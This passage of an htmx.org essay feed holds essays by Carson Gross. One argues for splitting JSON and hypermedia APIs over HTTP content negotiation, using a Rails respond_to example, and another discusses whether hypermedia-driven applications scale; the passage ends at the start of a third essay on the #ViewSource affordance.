&lt;p&gt;Often when I am engaged in discussions with people coming from the “REST is JSON over HTTP” world (that is, the normal
world) I have to navigate a lot of language and conceptual issues:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;No, I am not advocating you return HTML as a general purpose API, hypermedia makes for a bad general purpose API&lt;&#x2F;li&gt;
&lt;li&gt;Yes, I am advocating &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;two-approaches-to-decoupling&#x2F;&quot;&gt;tightly coupling&lt;&#x2F;a&gt; your web application to your hypermedia API&lt;&#x2F;li&gt;
&lt;li&gt;No, I do not think that we will ever fix how the industry &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;how-did-rest-come-to-mean-the-opposite-of-rest&#x2F;&quot;&gt;uses the term REST&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Yes, I am advocating you &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;splitting-your-apis&#x2F;&quot;&gt;split your data API and your hypermedia API up&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The last point often strikes people who are used to a single, general purpose JSON API as dumb: why have two APIs when you
can have a single API that can satisfy any number of types of clients?  I tried to answer that question as best I can in the essay
above, but it is certainly a reasonable one to ask.&lt;&#x2F;p&gt;
&lt;p&gt;It seems like (and it is) extra work in some ways when compared to having one general API.&lt;&#x2F;p&gt;
&lt;p&gt;At this point in a conversation, someone who agrees broadly with my take on REST, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;Hypermedia-Driven Applications&lt;&#x2F;a&gt;,
etc. will often jump in and say something like&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Oh, it’s easy, you just use &lt;em&gt;content negotiation&lt;&#x2F;em&gt;, it’s baked into HTTP!”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Not being content with alienating only the general purpose JSON API enthusiasts, let me now proceed to also alienate
my erstwhile hypermedia enthusiast allies by saying:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;I don’t think content negotiation is typically the right approach to
returning both JSON and HTML for most applications.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-is-content-negotiation&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#what-is-content-negotiation&quot; aria-label=&quot;Anchor link for: what-is-content-negotiation&quot;&gt;What Is Content Negotiation?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;First things first, what is “content negotiation”?&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Content_negotiation&quot;&gt;Content negotiation&lt;&#x2F;a&gt; is a feature of HTTP that
allows a client to negotiate the content type of the response from a server.  A full treatment of the implementation
in HTTP is beyond the scope of this essay, but let us consider the most well known mechanism for content negotiation
in HTTP, the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Content_negotiation#the_accept_header&quot;&gt;&lt;code&gt;Accept&lt;&#x2F;code&gt; Request Header&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;Accept&lt;&#x2F;code&gt; request header allows a client, such as a browser, to indicate the &lt;code&gt;MIME&lt;&#x2F;code&gt; types that it is willing to accept
from the server in a response.&lt;&#x2F;p&gt;
&lt;p&gt;An example value of this header is:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;http request&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-http request &quot;&gt;&lt;code class=&quot;language-http request&quot; data-lang=&quot;http request&quot;&gt;&lt;span&gt;Accept: text&#x2F;html, application&#x2F;xhtml+xml, application&#x2F;xml;q=0.9, image&#x2F;webp, *&#x2F;*;q=0.8
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This &lt;code&gt;Accept&lt;&#x2F;code&gt; header tells the server what formats the client is willing to accept.  Preferences are expressed via the
&lt;code&gt;q&lt;&#x2F;code&gt; weighting factor.  Wildcards are expressed with asterisks &lt;code&gt;*&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In this case, the client is saying:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;I would most like to receive text&#x2F;html, application&#x2F;xhtml+xml or image&#x2F;webp.  Next I would prefer application&#x2F;xml. Finally, I will accept whatever you give me.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The server then can take this information and determine the best content type to provide to the client.&lt;&#x2F;p&gt;
&lt;p&gt;This is the act of “content negotiation” and it is certainly an interesting feature of HTTP.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;using-content-negotiation-in-apis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#using-content-negotiation-in-apis&quot; aria-label=&quot;Anchor link for: using-content-negotiation-in-apis&quot;&gt;Using Content Negotiation In APIs&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;As far as I am aware, it was the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rubyonrails.org&#x2F;&quot;&gt;Ruby On Rails&lt;&#x2F;a&gt; community that first went in in a big way
using content negotiation to provide both HTML and JSON (and other) formats from the same URL.&lt;&#x2F;p&gt;
&lt;p&gt;In Rails, this is accomplished via the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;apidock.com&#x2F;rails&#x2F;ActionController&#x2F;MimeResponds&#x2F;respond_to&quot;&gt;&lt;code&gt;respond_to&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; helper method available in
controllers.&lt;&#x2F;p&gt;
&lt;p&gt;Leaving the gory details of Rails aside, you might have a request like an HTTP &lt;code&gt;GET&lt;&#x2F;code&gt; to &lt;code&gt;&#x2F;contacts&lt;&#x2F;code&gt; that ends up invoking
a function in a &lt;code&gt;ContactsController&lt;&#x2F;code&gt; class that looks like this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ruby&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;index
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;@contacts &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e5c07b;&quot;&gt;Contacts&lt;&#x2F;span&gt;&lt;span&gt;.all
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  respond_to &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;do &lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span&gt;.html &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;# default rendering logic
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span&gt;.json { render &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;json: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;@contacts &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;end
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;end
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By making use of the &lt;code&gt;respond_to&lt;&#x2F;code&gt; helper method, if a client makes a request with the &lt;code&gt;Accept&lt;&#x2F;code&gt; header above, the controller
will render an HTML response using the Rails templating systems.&lt;&#x2F;p&gt;
&lt;p&gt;However, if the &lt;code&gt;Accept&lt;&#x2F;code&gt; header from the client has the value &lt;code&gt;application&#x2F;json&lt;&#x2F;code&gt; instead, Rails will render the contacts
as a JSON array for the client.&lt;&#x2F;p&gt;
&lt;p&gt;A pretty neat trick: you can keep all your controller logic, like looking up the contacts, the same and just use a
bit of ruby&#x2F;Rails magic to render two different response types using content negotiation.  Barely any additional work on
top of the normal Model&#x2F;View&#x2F;Controller logic.&lt;&#x2F;p&gt;
&lt;p&gt;You can see why people like the idea!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;so-what-s-the-problem&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#so-what-s-the-problem&quot; aria-label=&quot;Anchor link for: so-what-s-the-problem&quot;&gt;So What’s The Problem?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;So why don’t I think this is a good approach to splitting your JSON and HTML APIs up?&lt;&#x2F;p&gt;
&lt;p&gt;It boils down to the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-apis-vs-data-apis&#x2F;&quot;&gt;differences between JSON APIs and Hypermedia (HTML) APIs&lt;&#x2F;a&gt; I hinted
at earlier.  In particular:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Data APIs should be versioned and should be very stable within a particular version of the API&lt;&#x2F;li&gt;
&lt;li&gt;Data APIs should strive for both regularity and expressiveness due to the arbitrary data needs of consumers&lt;&#x2F;li&gt;
&lt;li&gt;Data APIs typically use some sort of token-based authentication&lt;&#x2F;li&gt;
&lt;li&gt;Data APIs should be rate limited&lt;&#x2F;li&gt;
&lt;li&gt;Hypermedia APIs typically use some sort of session-cookie based authentication&lt;&#x2F;li&gt;
&lt;li&gt;Hypermedia APIs should be driven by the needs of the underlying hypermedia application&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;While all of these differences matter and have an effect on your controller code, pulling it in two different directions,
it is really the first and last items that make me often choose not to use content negotiation in my applications.&lt;&#x2F;p&gt;
&lt;p&gt;Your JSON API needs to be a stable set of endpoint that client code can rely on.&lt;&#x2F;p&gt;
&lt;p&gt;Your hypermedia API, on the other hand, can change dramatically based on the user interface needs of your applications.&lt;&#x2F;p&gt;
&lt;p&gt;These two things don’t mix well.&lt;&#x2F;p&gt;
&lt;p&gt;To give you a concrete example, consider an end point that renders a detail view of a contact, at, say &lt;code&gt;&#x2F;contacts&#x2F;:id&lt;&#x2F;code&gt;
(where &lt;code&gt;:id&lt;&#x2F;code&gt; is a parameter containing the id of the contact to render).  Let’s say that this page has a “related contacts”
section of the UI and, further, computing these related contacts is expensive for some reason.&lt;&#x2F;p&gt;
&lt;p&gt;In this situation you might choose to use the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;lazy-load&#x2F;&quot;&gt;Lazy Loading&lt;&#x2F;a&gt; pattern to defer
loading the related contacts until after the initial contact detail screen has been rendered.  This improves perceived
performance of the page for your users.&lt;&#x2F;p&gt;
&lt;p&gt;If you did this, you might put the lazy loaded content at the end-point &lt;code&gt;&#x2F;contacts&#x2F;:id&#x2F;related&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Now, later on, maybe you are able to optimize the computation of related contacts.  At this point you might choose to
rip the &lt;code&gt;&#x2F;contacts&#x2F;:id&#x2F;related&lt;&#x2F;code&gt; end-point out and just render the related contacts information in the initial page render.&lt;&#x2F;p&gt;
&lt;p&gt;All of this is fine for your hypermedia API: hypermedia, through &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;the uniform interface &amp;amp; HATEOAS&lt;&#x2F;a&gt;
is &lt;em&gt;designed&lt;&#x2F;em&gt; to handle these sorts of changes.&lt;&#x2F;p&gt;
&lt;p&gt;However, your JSON API… not so much.&lt;&#x2F;p&gt;
&lt;p&gt;Your JSON API should remain stable.  You can’t be adding and removing end-points
willy-nilly.  Yes, you can have &lt;em&gt;some&lt;&#x2F;em&gt; end-points respond with either JSON or HTML and others only respond with HTML, but
it gets messy.  What if you accidentally copy-and-paste in the wrong code somewhere, for example.&lt;&#x2F;p&gt;
&lt;p&gt;Taking all of this into account, as well as things like rate-limiting and so on, I think you can make a strong argument
that there should be a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Separation_of_concerns&quot;&gt;Separation Of Concerns&lt;&#x2F;a&gt; between the JSON
API and the hypermedia API.&lt;&#x2F;p&gt;
&lt;p&gt;(Yes, I am aware of the irony that the person who coined the term &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;locality-of-behaviour&#x2F;&quot;&gt;Locality of Behaviour&lt;&#x2F;a&gt;
is making a SoC argument.)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;so-what-s-the-alternative&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#so-what-s-the-alternative&quot; aria-label=&quot;Anchor link for: so-what-s-the-alternative&quot;&gt;So What’s The Alternative?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The alternative is, as I advocate in &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;splitting-your-apis&#x2F;&quot;&gt;Splitting Your APIs&lt;&#x2F;a&gt;, er, well, splitting your
APIs.  This means providing different paths (or subdomains, or whatever) for your JSON API and your hypermedia (HTML)
API.&lt;&#x2F;p&gt;
&lt;p&gt;Going back to our contacts API, we might have the following:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The JSON API to get all contacts is found at &lt;code&gt;&#x2F;api&#x2F;v1&#x2F;contacts&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;The Hypermedia API to get all contacts is found at &lt;code&gt;&#x2F;contacts&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This layout implies two different controllers and, I say, that’s a good thing: the JSON API controller can implement the
requirements of a JSON API: rate limiting, stability, maybe an expressive query mechanism like GraphQL.&lt;&#x2F;p&gt;
&lt;p&gt;Meanwhile, your
hypermedia API (really, just your Hypermedia Driven Application endpoints) can change dramatically as your user interface
needs change, with highly tuned database queries, end-points to support special UI needs, etc.&lt;&#x2F;p&gt;
&lt;p&gt;By separating these two concerns, your JSON API can be stable, regular and low-maintenance, and your hypermedia API can
be chaotic, specialized and flexible.  Each gets its own controller environment to thrive in, without conflicting with
one another.&lt;&#x2F;p&gt;
&lt;p&gt;And this is why I prefer to split my JSON and hypermedia APIs up into separate controllers, rather than use HTTP content
negotiation to attempt to reuse controllers for both.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Does Hypermedia Scale?</title>
        <published>2023-11-06T00:00:00+00:00</published>
        <updated>2023-11-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/does-hypermedia-scale/"/>
        <id>https://htmx.org/essays/does-hypermedia-scale/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/does-hypermedia-scale/">&lt;p&gt;One objection that we sometimes hear to htmx and hypermedia is some variation of the following:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Well, it might work well for something small, but it won’t scale.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;It is always dangerous to provoke us with essay-fodder and so lets dig into this claim a bit and see if we can
shed some light on whether &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;Hypermedia-Driven Applications&lt;&#x2F;a&gt; (HDAs) can scale.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;scaling&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#scaling&quot; aria-label=&quot;Anchor link for: scaling&quot;&gt;Scaling&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;First of all, let’s define the term “scaling” and then the contexts that word can be used in development. In a software
context, scaling typically means the ability of the software to handle “larger” things.  Those things can be:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;More nodes in a general &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hypermedia.systems&quot;&gt;system&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;More user requests (scaling your individual application’s performance)&lt;&#x2F;li&gt;
&lt;li&gt;More features  (scaling your codebase)&lt;&#x2F;li&gt;
&lt;li&gt;More &lt;em&gt;complex&lt;&#x2F;em&gt; features&lt;&#x2F;li&gt;
&lt;li&gt;More developers (scaling your team size)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Each of these sense of the word “scaling” demand their own analysis with respect to HDAs.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;scaling-nodes-in-general&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#scaling-nodes-in-general&quot; aria-label=&quot;Anchor link for: scaling-nodes-in-general&quot;&gt;Scaling Nodes In General&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Although this isn’t of much interest to individual developers making decisions about their own applications, it is worth
stating that The Web has scaled &lt;em&gt;incredibly well&lt;&#x2F;em&gt; as a distributed networking system.  It is the most successful
distributed system that I am aware of, in any event.&lt;&#x2F;p&gt;
&lt;p&gt;This is not necessarily of interest to an &lt;em&gt;individual&lt;&#x2F;em&gt; application developer, but it sets the proper tone: hypermedia
can scale.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;scaling-application-performance&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#scaling-application-performance&quot; aria-label=&quot;Anchor link for: scaling-application-performance&quot;&gt;Scaling Application Performance&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Does hypermedia scale well with &lt;em&gt;performance&lt;&#x2F;em&gt;?  To answer this question, lets first look at some of the characteristics
of performance-scalable software.  While there is no authoritative source for these characteristics, most engineers
with experience scaling software will agree that most of the items on this list are at least helpful:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Software should be &lt;em&gt;stateless&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Software should support &lt;em&gt;horizontal scaling&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Features in the software should be &lt;em&gt;independent&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;The performance of the system should be &lt;em&gt;observable&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;The software should utilize caching&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;It turns out, happily, that properly designed hypermedia systems can have all these characteristics.&lt;&#x2F;p&gt;
&lt;p&gt;Statelessness is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_3&quot;&gt;a constraint of the REST-ful architecture&lt;&#x2F;a&gt;
that Roy Fielding created to describe the web.  In practice, many hypermedia-driven applications use a &lt;em&gt;session cookie&lt;&#x2F;em&gt;
to manage a small amount of state on the server side, but this is a well-understood technique that hasn’t proven fatal
in scaling applications.&lt;&#x2F;p&gt;
&lt;p&gt;Horizontal scaling has a long history in hypermedia-driven applications and dovetails with the stateless nature of most
hypermedia-driven applications: early PAAS vendors like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.heroku.com&#x2F;&quot;&gt;heroku&lt;&#x2F;a&gt; (of blessed memory) offered
easy horizontal scaling of rails-driven applications, for example.&lt;&#x2F;p&gt;
&lt;p&gt;Feature independence is another strength of HDAs.  In HDAs, end-points for screens tend to be
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;two-approaches-to-decoupling&#x2F;&quot;&gt;&lt;em&gt;decoupled&lt;&#x2F;em&gt;&lt;&#x2F;a&gt; from one another in a way that general JSON APIs are not.  This
means that those endpoints can be monitored, evolved and be tuned independently of one another. We have a long history of
tuning these sorts of endpoints to create sub-100 millisecond response times (e.g. minimizing database queries for a
given end-point by SQL tuning.)&lt;&#x2F;p&gt;
&lt;p&gt;Building on the independence of end-points to support various views, platform performance is easy to monitor and
understand.  Rather than a generalized JSON API that can be accessed in multiple ways across your application, you have
UI specific end-points that construct hypermedia for specific views.  Determining what is causing a performance issue
becomes much easier when views are constructed on the server-side and requests are driven through simple hypermedia
exchanges.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, web applications have a long and storied history of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_4&quot;&gt;caching&lt;&#x2F;a&gt;.
HTTP offers caching at the browser, controlled by headers.  Mature server side frameworks like Rails offer sophisticated
caching at the controller layer.  Caching is second nature for HDAs.&lt;&#x2F;p&gt;
&lt;p&gt;All of these combine to make HDAs extremely scalable from a performance perspective.  Battle-tested performance techniques
are available for scaling your HDA as user load increases.&lt;&#x2F;p&gt;
&lt;p&gt;Does the HDA approach push more computation onto the server side?  To an extent, this is true.  However, the difference
between the JSON representation for a given resource and the HTML representation for it is not nearly as large as some
people think, particularly if you don’t include the header and footer information in HTML requests, as is common in
htmx-based applications.  Network latency and datastore-access typically dominates request time anyway, and the ability
to use SQL (or a similar server-side query language) gives you an opportunity to optimize that aspect of the request.&lt;&#x2F;p&gt;
&lt;p&gt;HDAs also typically have the optimal &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;htmx_org&#x2F;status&#x2F;1721750496086798378&quot;&gt;“one request per view”&lt;&#x2F;a&gt;
naturally since, well, in HDAs the requests &lt;em&gt;are&lt;&#x2F;em&gt; your views.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;scaling-with-of-features&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#scaling-with-of-features&quot; aria-label=&quot;Anchor link for: scaling-with-of-features&quot;&gt;Scaling With # Of Features&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Because HDAs tend to have independent end-points driven by UI needs, rather than a general JSON data API, scaling with
the number of features is typically very easy.  Assuming a reasonable Model-View-Controller split on the server side,
Controllers and Models tend to be very independent of one another.  When features truly overlap, having the features
developed and tested on the server-side provides a more controlled and testable environment.&lt;&#x2F;p&gt;
&lt;p&gt;Views can achieve reuse via server-side includes, found in nearly all server-side templating libraries, or be maintained
separately in order to avoid interdependencies.&lt;&#x2F;p&gt;
&lt;p&gt;All of this is to say that, with reasonable application architecture, HDAs often scale &lt;em&gt;very well&lt;&#x2F;em&gt; with the # of
features in an application, especially when those features are inherently decoupled from one another.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;scaling-with-complexity-of-features&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#scaling-with-complexity-of-features&quot; aria-label=&quot;Anchor link for: scaling-with-complexity-of-features&quot;&gt;Scaling With Complexity Of Features&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Scaling with the # of features is at some level akin to &lt;em&gt;horizontal scaling&lt;&#x2F;em&gt;: so long as they are relatively independent
they will scale fine (and if they aren’t, HDAs will still often scale as well as or better than other options.)&lt;&#x2F;p&gt;
&lt;p&gt;But what about &lt;em&gt;deep&lt;&#x2F;em&gt; features: features that are complex &lt;em&gt;in themselves&lt;&#x2F;em&gt;?&lt;&#x2F;p&gt;
&lt;p&gt;Here we must split the deep features into two categories:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Server-side deep features&lt;&#x2F;li&gt;
&lt;li&gt;Client-side deep features&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;For deep server-side features, HDAs are often a great choice.  A good example of this is something like an AI chat-bot:
this is a very sophisticated server-side feature, but it interacts with the user via a simple textual interface.  Many
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sliceofexperiments.com&#x2F;p&#x2F;building-a-personalized-ask-me-anything&quot;&gt;AI chat-bots&lt;&#x2F;a&gt; have been built using
htmx, with people remarking on how simple it is.&lt;&#x2F;p&gt;
&lt;p&gt;For deep &lt;em&gt;client-side&lt;&#x2F;em&gt; features, HDAs are sometimes &lt;em&gt;not&lt;&#x2F;em&gt; a great choice.  We outline details on this in our essay on
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;when-to-use-hypermedia&#x2F;&quot;&gt;when to choose hypermedia&lt;&#x2F;a&gt;.  To summarize that article: if your UI requires responding to a large number of events
quickly (e.g. dragging a map-view) or has significant inter-UI dependencies that cannot be updated in a bulk hypermedia
exchange (e.g. a spreadsheet application), the hypermedia approach isn’t going to work well&lt;&#x2F;p&gt;
&lt;p&gt;However, we would note two things:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;It is often possible to &lt;em&gt;wrap&lt;&#x2F;em&gt; more complex front-end behavior within an HDA application, integrating via events.&lt;&#x2F;li&gt;
&lt;li&gt;Sometimes it is better to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;grugbrain.dev&#x2F;#grug-on-saying-no&quot;&gt;say “No”&lt;&#x2F;a&gt; to complex front-end features, or at
least consider if a simpler implementation is acceptable that doesn’t entail the additional complexity typically
found with complex front end frameworks.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;scaling-the-team&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#scaling-the-team&quot; aria-label=&quot;Anchor link for: scaling-the-team&quot;&gt;Scaling The Team&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The final sense of scaling we will consider is the idea of scaling a development team.  Here we must rely on more
subjective and anecdotal measures, unfortunately.&lt;&#x2F;p&gt;
&lt;p&gt;It is our experience (and the experience of others) that HDAs seem to allow you to accomplish more with &lt;em&gt;fewer&lt;&#x2F;em&gt; developers.
They also eliminate the front-end&#x2F;back-end split, and the communication friction of this split,
since developers become responsible for entire features.  Some people &lt;em&gt;like&lt;&#x2F;em&gt; the front-end&#x2F;back-end split and feel
this allows teams to scale better by making the teams independent.&lt;&#x2F;p&gt;
&lt;p&gt;We do not agree.  We think that the front-end and back-end of most web applications are &lt;em&gt;inherently coupled&lt;&#x2F;em&gt; and, therefore,
the best approach is to adopt an architecture that accepts this coupling and is designed to handle change well, which
the hypermedia approach is (via the uniform interface.)&lt;&#x2F;p&gt;
&lt;p&gt;Can HDAs scale to teams of 100 or more?  This we can’t answer because we haven’t seen this scenario.  But it can certainly
scale into the 10s.  We can &lt;em&gt;imagine&lt;&#x2F;em&gt; the approach scaling much higher (it did during the web 1.0 era, after all) but
at this point we are speculating.&lt;&#x2F;p&gt;
&lt;p&gt;We prefer smaller teams anyway.  10 developers should be enough for any application.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;So, taking these all together, we have the following conclusion regarding scaling Hypermedia-Driven Applications:&lt;&#x2F;p&gt;
&lt;p&gt;HDAs can scale very well with respect to performance and feature count.  They &lt;em&gt;can&lt;&#x2F;em&gt; scale with feature complexity,
with caveats.  And, finally, the jury is still out on scaling with team size, although we can say that the HDA approach
tends to keep teams smaller and eliminate inter-team communication friction.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The #ViewSource Affordance</title>
        <published>2023-09-21T00:00:00+00:00</published>
        <updated>2023-09-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/right-click-view-source/"/>
        <id>https://htmx.org/essays/right-click-view-source/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/right-click-view-source/">&lt;blockquote&gt;
&lt;p&gt;Not for nothing, Hypercard presaged the web’s critical “#ViewSource” affordance, which allowed people to copy,
modify, customize and improve on the things that they found delightful or useful.  This affordance was later adapted
